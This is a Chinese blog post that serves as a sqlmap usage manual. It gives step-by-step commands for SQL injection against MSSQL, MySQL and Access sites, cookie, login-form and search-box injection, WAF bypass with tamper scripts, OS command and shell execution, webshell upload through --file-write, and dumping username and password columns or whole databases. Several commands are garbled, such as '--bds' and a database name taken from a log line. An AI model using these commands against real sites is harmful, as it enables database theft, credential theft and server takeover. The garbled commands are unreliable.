zoukankan      html  css  js  c++  java
  • sqlmap使用手册

    前言:有关sqlmap的使用之前就比较熟悉了, 今天闲来无事加上看相关博客就准备写一篇详细关于sqlmap的使用手册,博客正文源出于:http://www.cnblogs.com/xishaonian/p/6031552.html

    0x00 SQLMAP简介:

       1,sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常大的检测引擎、具有多种特性的渗透实测器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

       2,sqlmap支持的数据库有MySQL, oracle,Sql Server,access等。

       3,可以实现错误注入,基于时间的错误注入,报错注入,union注入等。

    0x01 使用过程中可能用到的相关命令:

       --current-user    #当前数据库用户
       --privileges     #查看当前数据库权限
       --dbms=mssql      #指定数据库的类型
       --os-shell      #执行cmd命令

       --is-dba             #判断是否为dba权限

    0x02 对于Mssql类型的数据库注入:

        sqlmap -u "url" --dbs                       #获取数据库

        sqlmap -u "url" -D 数据库名 --tables                #猜表

        sqlmap -u "url" -D 数据库名 -T 表名 --columns           #获取字段

        sqlmap -u "url" -D 数据库名 -T 表名 -C username,password --dump   #获取字段内容

    0x03 对于MySQL类型数据库注入:

        sqlmap -u "url" --dbs #获取数据库

        sqlmap -u "url" -D 数据库名 --tables                                #猜表

        sqlmap -u "url" -D 数据库名 -T 表名 --columns                       #获取字段

        sqlmap -u "url" -D 数据库名 -T 表名 -C username,password --dump     #获取字段内容

    0x04 对于access类型数据库注入:

        sqlmap -u "url"                                                    #判断是否存在注入点

        sqlmap -u "url" --dbs                                              #获取数据库

        sqlmap -u "url" -D 数据库名 --tables                               #跑表

        sqlmap -u "url" --columns -T 表名 -D 数据库名                      #猜字段

        sqlmap -u "url" --dump -T 表名 -C 字段名1,字段名2 -D 数据库名     #猜字段内容

    0x05 cookie注入:

        sqlmap –u “url” –cookie “id=urlid” --table –level 2           #获取表名

        sqlmap –u “url” –cookie “id=urlid” --columns –T 表名 –level 2 #获取字段       

        sqlmap –u “url” –cookie “id=urlid” --dump –T表名 –C “字段名1,字段名2” –level 2 #获取字段内容

    0x06 post登录框注入:

        sqlmap –u “url” –forms                                                            #自动搜索 代码参数

        sqlmap.py -u “url” –data “ftuname=1&tfupass=1r

    0x07 交互执行shell命令执行:

        sqlmap.py -u “url” –os –cmd=ipconfig     #cmd权限

        sqlmap.py -u “url” –os –shell

    0x08 伪静态注入:

        sqlmap -u http://www.test.com/1*.html --dbs                             #获取数据库

        sqlmap -u http://www.test.com/1*.html -D 数据库名 --tables           #猜表

        sqlmap -u http://www.test.com/1*.html -D 数据库名 -T 表名 --columns #获取字段

        sqlmap -u http://www.test.com/1*.html -D 数据库名 -T 表名 -C id,user,password --dump #获取字段内容

    0x09 请求超时:

        #参数 –delay --safe-freq 3

        sqlmap --dbs -u http://www.test.com/1*.html --delay 时间               #获取数据库

        sqlmap --dbs -u http://www.test.com/1*.html --safe-freq 次数         #获取数据库

    0x10 搜索框注入:

        ● 检测是否存在注入
        ● 第一步:在框内提交:%'
        ● 返回错误即存在注入!
        ● 第二步:然后抓包-例如抓包数据如下
        POST /CN/Search/ HTTP/1.1
        Host: www.xxxxx.com
        Proxy-Connection: keep-alive
        Content-Length: 21
        Cache-Control: max-age=0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Origin: http://www.xxxxx.com
        User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
        Content-Type: application/x-www-form-urlencoded
        Referer: http://www.xxxxx.com/CN/Search/
        Accept-Encoding: gzip,deflate,sdch
        Accept-Language: zh-CN,zh;q=0.8
        Cookie: ASPSESSIONIDCSTSSBDB=DEBHEMHCINDPHGHHPNEBJHEO; _ga=GA1.2.186656237.1405421193; CNZZDATA3440547=cnzz_eid%3D456311074-1405421237-           http%253A%252F%252Fwww.xxxxx.com%252F%26ntime%3D1405426801

        KeyWords=1%25&x=0&y=0

        将抓到的数据包保存为文本(目录需记住,例如我将数据包保存文本到C盘命名为1.txt)

        3.>sqlmap打开

        执行命令:sqlmap.py -r c:1.txt --bds -v 2 //列数据库

        回车后在以后一行得到数据"shutting down at 20:24:05"

        sqlmap.py -r c:1.txt --tables -D "shutting down at 20:24:05" -v 2 //列表明,假设表明为admin

        sqlmap.py -r c:1.txt --columns -T "admin" -D "shutting down at 20:24:05" -v 2 //奔字段,假设字段是username和password

        sqlmap.py -r c:1.txt --dump -C "username.password" -T "admin" -D "shutting down at 20:24:05" -v 2

    0x11 tamper插件的使用/WAFBYPASS/Bypasswaf/waf bypass/

        参数:
        ● batch 要求不对目标写入
        ● tamper 干预脚本
        sqlmap.py -u "url" -v 3 --batch --tamper "base64encode.py"
        注:base64encode.py 为编码,在tamper目录下。且等级必须是3级或以上。
        tamper脚本下载:https://svn.sqlmap.org/sqlmap/trunk/sqlmap/tamper/
        temper脚本:
        针对MYSQL:space2morehash.py space2hash.py
        空格替换:space2mssqlblank.py space2mysqlblank.py、
        打乱编码:charencode.py chardoubleencode.py
        针对asp/asp.net:charunicodeencode.py percentage.py

    0x12 文件参数的使用与接入

        file-write 本地路径
        file-dest 网站路径
        sqlmap.py -u "url" --file-write=本地shell路径 --file-dest=网站物理路径/hello.asp
        注:
           需要有dba或sa或root权限
           路径须是正斜杠(/)

    0x13 拖库:

      --dump-all  #会在系统缓存目录C:UsersAdministrator.sqlmapoutput 目录下生成XLS文件

    0x14 设置线程

      --threads 10

      某些网站有防注入保护,短时间内如果请求次数较多或短时间内请求错误页面次数较多都可能被网站屏蔽
      sqlmap -u "www.xxx.com/index.php/Index/view/id/40*.html" --dbs --delay 5    //间隔5秒请求一次

     

  • 相关阅读:
    安装驱动后链接DB
    将man文件导出为文本的脚本
    mysql中的DELIMITER
    存储过程模版(mysql)
    struts学习总结
    Java 反射和内省实现spring的IOC和DI
    JDK动态代理
    js跨域
    mysql函数
    正则表达式
  • 原文地址:https://www.cnblogs.com/sun-sunshine123/p/6868811.html
Copyright © 2011-2022 走看看